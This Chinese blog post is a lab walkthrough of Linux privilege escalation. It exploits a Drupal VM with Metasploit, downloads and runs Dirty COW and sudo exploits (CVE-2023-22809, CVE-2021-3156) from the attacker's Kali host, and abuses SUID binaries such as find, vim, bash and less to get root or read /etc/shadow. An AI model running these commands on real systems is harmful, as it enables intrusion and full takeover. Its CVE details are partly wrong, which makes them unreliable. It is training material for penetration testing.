【靶场】linux提权
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录
- Linux提权
- 1.1 搭建靶场
- 1.2 使用nmap扫描网段
- 1.3 进一步扫描端口
- 1.4 访问
- 1.5 信息收集
- 1.6 msf查找漏洞
- 1.7 进入shell
- 1.8 脏牛提权
- 1.8.1查看内核版本
- 1.8.2 上传脏牛脚本
- 1.8.2.1 上脏牛脚本到kali
- 1.8.2.2 生成下载链接
- 1.8.2.3 进入tmp目录
- 1.8.2.4 下载
- 1.8.3 编译脚本
- 1.8.4 执行脚本
- 1.8.5总结
- 1.9 sudo提权
- 1.9.1 查看sudo版本
- 1.9.2 漏洞检测
- 1.9.3 CVE-2023-22809
- 1.9.3.1 查看SUDO命令的版本
- 1.9.3.2 生成下载链接
- 1.9.3.3 下载
- 1.9.3.4 给脚本文件给上最高权限
- 1.9.3.5 执行
- 1.9.4 CVE-2021-3156
- 1.9.4.1 查看对方sudo版本
- 1.9.4.2 新建文件夹
- 1.9.4.3 上传文件
- 1.9.4.4 下载文件
- 1.9.4.5 编译脚本
- 1.9.4.6 运行
- 1.9.4.7 选择版本
- 1.10 suid提权
- 1.10.1 查看有suid权限文件
- 1.10.2 找到可以提权的文件
- 1.10.3 nmap命令的利用
- 1.10.4 find命令的利用
- 1.10.5 Vim命令的利用
- 1.10.6 bash命令的利用
- 1.10.7 less命令的利用
- 总结
Linux提权
提示:以下是本篇文章正文内容,下面案例可供参考
1.1 搭建靶场

1.2 使用nmap扫描网段
思路:此时对于靶场的账号和密码还有靶场的IP地址,我们一无所知~~
目前已知的条件是该靶场部署在VMware虚拟环境中,那么该靶场的IP地址肯定是和我们的其他虚拟机的IP地址在同一个网段!因此我们可以使用kali系统中的nmap虚拟机的网段信息:
nmap -O 192.168.79.131/24

找到目标 192.168.79.187

1.3 进一步扫描端口
nmap 192.168.79.187 -p-

1.4 访问
访问80端口

访问1898端口

1.5 信息收集
确定靶场IP地址之后,仔细观察这个网站,发现该CMS的框架为:Drupal

1.6 msf查找漏洞
确定了靶场的框架之后,接下来可以在网上公开搜索该框架相应的漏洞:
Drupal 框架漏洞
也可以在MSF中以Drupal为关键词,利用search命令搜索相应的攻击模块:
cd /usr/share/etasploit-framework/
启动msf:msfconsole
msfconsole
search Drupal

选择漏洞模块逐个攻击利用(exploit/unix/webapp/drupal_drupalgeddon2模块可利用成功)
use 1

查看模块相应参数、设置参数,开始攻击
show options
set rhosts 192.168.79.187
set rport 1898
run


漏洞利用成功,建立会话!
1.7 进入shell
输入shell进入命令行;使用python命令进入交互式模式:
shell --进入命令行python -c 'import pty; pty.spawn("/bin/bash")' --进入交互式命令行

查看当前用户

1.8 脏牛提权
什么是脏牛漏洞?
脏牛漏洞是一种存在于linux操作系统中的本地提权漏洞,分为1.0和2.0版本,当Linux系统内核版本高于4.8以上时,使用脏牛2.0
—CVE-2022-0847原理:当一个进程正在尝试修改其映射的只读内存页面时,另一个进程也在同时访问这个页面。在这种情况下,内核可能会出现一种竞争条件,导致两个进程都能看到对方的修改,甚至可能覆盖对方的数据。这就为攻击者提供了机会,使其能够在没有权限限制的情况下,通过构造特殊的操作序列,使正在运行的程序以更高的权限执行命令,从而达到提权的效果。
使用脏牛漏洞提升权限
思路:既然脏牛漏洞和Linux系统内核版本有关,那么我们就要使用命令查看对方内核版本
1.8.1查看内核版本
查看内核版本:
uname -a

查看到目标系统内核为4.8以下,所以我们选择脏牛1.0的脚本工具 (Dirty.cpp)
确定了使用什么脚本,那么接下来就是把脚本上传到目标机器上去!
思路:
直接使用XFTP是没有办法直接上传的,但是我们可以将脏牛脚本上传到kali的网站上面,然后用靶机去kali网站下载脚本。同时为了避免linux系统权限限制,我们选择在/tmp(Linux临时文件夹)去进行这些操作:
1.8.2 上传脏牛脚本
使用XFTP将脏牛脚本上传到kali的网站:(kali的apache配置文件路径为/var/www/html)
1.8.2.1 上脏牛脚本到kali
把脏牛脚本上传到kali的apche目录下

1.8.2.2 生成下载链接
使用棱镜
https://forum.ywhack.com/bountytips.php?download
生成从kali下载脏牛脚本的链接
wget http://192.168.79.131:80/Dirty.cpp -O Dirty.cpp
1.8.2.3 进入tmp目录
因为tmp目录权限拉满最好是进入tmp目录下载

cd /tmp
1.8.2.4 下载
在反弹shell窗口执行
wget http://192.168.79.131:80/Dirty.cpp -O Dirty.cpp
或
curl http://192.168.79.131:80/Dirty.cpp -o Dirty.cpp

下载成功
1.8.3 编译脚本
.ccp的文件在Linux系统中无法直接利用,因此需要编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow Dirty.cpp -lutil
命令注释:
-Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
-pedantic 允许发出ANSI/ISO C标准所列出的所有警告
-O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
-std=c++11就是用按C++2011标准来编译的
-pthread 在Linux中要用到多线程时,需要链接pthread库
-o dcow gcc生成的目标文件,名字为dcow

1.8.4 执行脚本
执行编译好的脚本文件:
./dcow -s


执行成功当前命令提示符发生变化有www-data变为root
1.8.5总结
如果可以避免,请不要使用内核漏洞提权。 如果使用它,可能会使计算机崩溃或使其处于不稳定状态。因此,内核漏洞利用应该是最后的手段。
1.远程主机可能会崩溃,因为许多公开可用的内核漏洞利用都不十分稳定。
2.您可能会成为root用户,然后使系统崩溃。
3.漏洞利用可能会留下痕迹/日志。
1.9 sudo提权
sudo 允许系统管理员将权限委托给某些用户(或用户组),能够以root用户或其他用户身份运行部分(或全部)命令。
sudo的提权原理是通过配置文件(/etc/sudoers)来授权,这个文件定义了那些用户可以使用sudo,以及可以执行哪些命令和以哪个用户的身份执行;sudo命令在执行过程中会读取这个配置文件,如果说sudoers这个配置文件有误或者被篡改,就会导致一些普通用户能够以root身份执行命令导致危害!
漏洞影响版本 Sudo 1.8.2 - 1.8.31p2 Sudo 1.9.0 - 1.9.5p1 不受影响版本:sudo
=>1.9.5p2漏洞检测 查看sudo版本
1.9.1 查看sudo版本
sudo --version
1.9.2 漏洞检测
检测是否存在漏洞,使用普通用户执行下面的命
sudoedit -s / 若返回如图以“ sudoedit:”开头的错误,则当前系统可能存在安全风险。 不受影响的系统将显示以“ usage:”开头的错误
sudoedit -s
sudo提权我就演示两个编号的漏洞:CVE-2023-22809和CVE-2021-3156
1.9.3 CVE-2023-22809
漏洞影响版本 Sudo 1.8.2 - 1.8.31p2 Sudo 1.9.0 - 1.9.5p1
不受影响版本:sudo 1.9.5p2所以我们如果想利用这个漏洞,还得根据目标服务器的sudo命令的版本
1.9.3.1 查看SUDO命令的版本
sudo -V
或
sudo --version

1.9.3.2 生成下载链接
把SUDO-EXP.sh上传,然后生成下载连接
wget http://192.168.79.131:80/SUDO-EXP.sh -O SUDO-EXP.sh
1.9.3.3 下载

cd /tmp
wget http://192.168.79.131:80/SUDO-EXP.sh -O SUDO-EXP.sh

1.9.3.4 给脚本文件给上最高权限
给脚本文件给上最高权限:777
chmod 777 SUDO-EXP.sh

1.9.3.5 执行
然后利用bash命令或者直接./执行
./SUDO-EXP.sh
利用成功的情况下是会弹出如下图需要确认的命令行,输入“y”确认之后会成功提权到root权限

成功拿到root
1.9.4 CVE-2021-3156
这个漏洞被披露于2021年1月26日。漏洞的载体是我们常用的sudo命令。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。因此只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。
漏洞影响版本:
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
具体利用步骤也是类似的:
1.9.4.1 查看对方sudo版本
拿到对方webshell之后,进入命令行,首先查看目标Linux服务器的的SUDO命令的版本
sudo -V

1.9.4.2 新建文件夹
切换到/tmp目录,在/tmp目录新建一个文件夹并进入新建的文件夹中
cd /tmp
mkdir 1
cd 1

1.9.4.3 上传文件
把脚本上传到kali机中

1.9.4.4 下载文件
wget http://192.168.79.131:80/CVE-2021-3156-main/brute.sh -O brute.sh
wget http://192.168.79.131:80/CVE-2021-3156-main/hax.c -O hax.c
wget http://192.168.79.131:80/CVE-2021-3156-main/lib.c -O lib.c
wget http://192.168.79.131:80/CVE-2021-3156-main/Makefile -O Makefile

1.9.4.5 编译脚本
make

1.9.4.6 运行
./sudo-hax-me-a-sandwich
运行完成之后得到下图,然后根据对于的系统版本选择工具。

1.9.4.7 选择版本
前面已经得知我们的sudo命令版本。所以我们输入命令运行脚本后面接上对应的数字即可。
./sudo-hax-me-a-sandwich 0

成功拿到root
1.10 suid提权
SUID是什么?
是一种特殊权限,设置了SUID的程序文件,在用户执行该程序时,用户的权限是该程序文件属主的权限。
例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限。
为什么要给Linux二进制文件设置这种权限呢?
例如,程序ping命令其实是需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,所以这时root账户给ping命令设置一个SUID权限,那么所有的普通用户在执行这个命令的时候,都会暂时拥有root账户的权限(相当于古代皇帝给将军的虎符,手持虎符就可以调用军队)攻击者可以利用这个SUID权限来达到执行root权限的目的。
SUID权限详解:https://blog.51cto.com/rachy/1882559
1.10.1 查看有suid权限文件
首先在本地查找符合条件的文件,有以下三个命令,哪个都可以
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

1.10.2 找到可以提权的文件
一般常用于SUID提权的文件有: Nmap
Vim
find
Bash
More
Less
Nano
cp
那为什么只有这些命令和文件可以?其他的文件能不能用呢?
其实这个问题很简单,就是我们在使用除了以上这些命令的时候,其他的一些命令没有额外的功能和操作去提供给你。即使他拥有SUID权限,你也不能用它去自定义的做一些事情和操作,所以说他不是不能用,而是用的时候对提权没有任何帮助。
1.10.3 nmap命令的利用
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。)
可以使用下命令进入nmap交互模式
nmap --interactive
执行命令后会返回一个shell
接着输入:!sh
即可提权为root
1.10.4 find命令的利用
如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行
touch testfind test -exec whoami \;find test -exec useradd bbb \;
1.10.5 Vim命令的利用
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件
vim /etc/shadowvim /etc/passwd
1.10.6 bash命令的利用
当发现bash文件可以利用时,可直接使用命令:
bash -p
此时可以直接弹出交互式命令行以root的身份去执行一些操作了
1.10.7 less命令的利用
发现less命令具有SUID权限时,可直接使用命令:
less /etc/passwd!/bin/sh
其他命令的利用:https://pentestlab.blog/2017/09/25/suid-executables/
SUID提权不一定能够成功,得结合对方操作系统的版本和内核去做具体的操作。
在实际的工作中我们也只能慢慢的去试。
总结
这些提权方式的遇到是需要运气的,除了脏牛漏洞还可以利用SUID的去提升权限,然后利用搜索命令去试着找一些具有SUID的文件就好了。
本文主要为了记录网络安全学习,维护网络安全靠大家
